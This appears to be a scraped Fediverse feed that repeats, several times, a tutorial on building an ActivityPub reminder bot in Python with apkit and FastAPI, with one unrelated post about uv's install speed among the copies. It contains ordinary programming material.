).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@paco@infosec.exchange
So I just rebuilt my personal #python venv
in my home directory on my #linux daily driver laptop. I did pip freeze > requirements.txt
to capture all the packages I had installed. Then I took away all the ==a,b.c
versioning so I'd install the latest compatible version.
Then I ran uv pip install -r requirements.txt
. This blew me way:
$ time uv pip install -r requirements.txt
Resolved 250 packages in 2.38s
Built python-ldap==3.4.4
Built py-cui==0.1.6
Built docopt==0.6.2
Built email-normalize==2.0.0
Built ecos==2.0.14
... bunch of lines...
real 0m14.028s
user 0m11.605s
sys 0m4.131s
Wow. 250 packages in 14 seconds.
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
